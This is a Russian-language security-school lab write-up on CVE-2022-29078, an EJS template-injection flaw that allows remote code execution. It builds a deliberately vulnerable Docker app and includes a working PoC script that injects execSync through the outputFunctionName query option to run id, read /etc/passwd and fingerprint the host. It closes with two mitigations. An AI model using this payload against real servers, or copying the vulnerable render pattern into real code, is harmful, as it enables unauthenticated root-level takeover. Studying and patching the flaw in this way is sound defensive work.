
White Hat School, 4-й набор (32 группа) — У Сан Бом (@taka3636)
Уязвимость EJS < 3.1.7 — серверная инъекция шаблонов (SSTI) (CVE-2022-29078), позволяющая удалённо выполнять произвольные команды на сервере (RCE) без аутентификации. В этом документе с помощью Docker разворачивается уязвимое окружение, воспроизводится RCE через PoC и проверяются два способа защиты (обновление библиотеки · безопасная передача входных данных).
EJS (Embedded JavaScript templates) — широко используемый шаблонизатор в экосистеме Node.js. Он позволяет встраивать JavaScript в HTML с помощью тегов <% %>, например <h1>Hello <%= id %></h1>, для создания динамических страниц. Внутри EJS компилирует строку шаблона в функцию JavaScript и затем выполняет её, формируя итоговый HTML. По сути это генератор кода, который превращает «текст (шаблон)» в «исполняемый код (функцию)», и именно это свойство лежит в основе данной уязвимости.
EJS < 3.1.7 вставляет значение параметра рендеринга outputFunctionName в исходный код скомпилированной функции без проверки. Если приложение передаёт пользовательский ввод напрямую как опции рендеринга, злоумышленник может подменить этот параметр и выполнить произвольный код на сервере (RCE). Поскольку сервер можно полностью захватить удалённо без аутентификации, серьёзность очень высока.
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1 바인딩(격리)
├── Dockerfile # node:18.20.4 (버전 고정)
├── app/
│ ├── server.js # 취약 Express 앱
│ ├── package.json # ejs 3.1.6 정확 고정
│ └── views/page.ejs
├── poc.sh # PoC 실행 스크립트
└── 1.png ~ 8.png # 스크린샷
18.20.4 (зафиксирована)3.1.6 (зафиксирована точно, без символов диапазона — при использовании ^/~ будет установлена исправленная версия, и воспроизведение станет невозможным)4.18.2docker compose up -d --build.

Атака возможна при одновременном выполнении двух условий.
< 3.1.7 вставляет outputFunctionName в код без проверки// app/server.js — 취약 지점
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query 전체를 렌더 옵션으로 전달
});
В res.render('page', req.query) Express передаёт пользовательский ввод (req.query) в EJS целиком как опции рендеринга. При этом парсер qs преобразует запись с квадратными скобками вида settings[view options][outputFunctionName] во вложенный объект, и это значение попадает в опцию компиляции EJS outputFunctionName. Иными словами, код (функция), который пользователь «посадил» на место опции, прикрепляется к опции и передаётся в EJS. EJS вставляет это значение перед скомпилированной функцией следующим образом:
var <outputFunctionName값> = __append;
При нормальном значении это безвредно, например var myOut = __append;, но если в значение добавить код через точку с запятой, разрывающую выражение, этот код выполнится при запуске скомпилированной функции. Подставив сюда execSync(...), можно прочитать определённые файлы или выполнить системные команды.
Предварительные требования: установлены Docker и Docker Compose, при сборке требуется подключение к интернету.
# 1) 클론 후 폴더 이동
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) 빌드 및 기동
docker compose up -d --build
docker compose ps
# 3) 정상 동작 확인
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC 실행
bash poc.sh
# 5) 정리
docker compose down

poc.sh — с помощью инъекции в опцию outputFunctionName выполняет на сервере три команды и забирает результат. [1] id (текущий пользователь), [2] /etc/passwd (чтение произвольного файла), [3] uname (место выполнения).
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : обязателен, чтобы квадратные скобки в URL не интерпретировались как glob (иначе будет curl: (3) bad range).%20, перенаправление > — %3EРезультат выполнения poc.sh. Обычный запрос (id=world) возвращает только Hello world, но команда, внедрённая через инъекцию в outputFunctionName, выполняется на сервере, и её вывод перехватывается.

id → uid=0(root) gid=0(root) : внедрённая команда выполняется с правами root./etc/passwd → содержимое файла учётных записей системы возвращается как есть: можно читать произвольные файлы на сервере (нарушение конфиденциальности).uname → имя хоста — 326f6f1b04b3 (ID контейнера), отличается от имени хоста ВМ (ubuntu-QEMU-Virtual-Machine): это доказывает, что команда выполняется внутри контейнера, а не на хосте. То есть права root возникают не из-за sudo, а из-за процесса уязвимого сервера (node в контейнере = root по умолчанию).Один удалённый запрос без аутентификации позволяет выполнять команды с правами root и читать произвольные файлы = CVE-2022-29078.
Мера 1 — обновление библиотеки (устранение первопричины)
Обновите ejs в package.json до версии 3.1.7 или выше. В 3.1.7+ значение outputFunctionName проверяется регулярным выражением /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, которое отклоняет не-идентификаторные символы, такие как точка с запятой, поэтому та же атака блокируется до выполнения кода.
Error: outputFunctionName is not a valid JS identifier.


Мера 2 — безопасная передача входных данных (защита приложения)
Даже с уязвимой версией (3.1.6), если не передавать пользовательский ввод целиком, а только необходимые значения, путь слияния settings[view options] исчезает, и подмена опций становится невозможной. Штатная функциональность сохраняется.
// 변경 전 (취약)
res.render('page', req.query);
// 변경 후 (안전)
res.render('page', { id: req.query.id });


Рекомендация: применять обе меры — обновление библиотеки (устранение первопричины) и минимальную передачу пользовательских данных (эшелонированная защита). Дополнительно, запуск контейнера от не-root пользователя позволит уменьшить ущерб при RCE.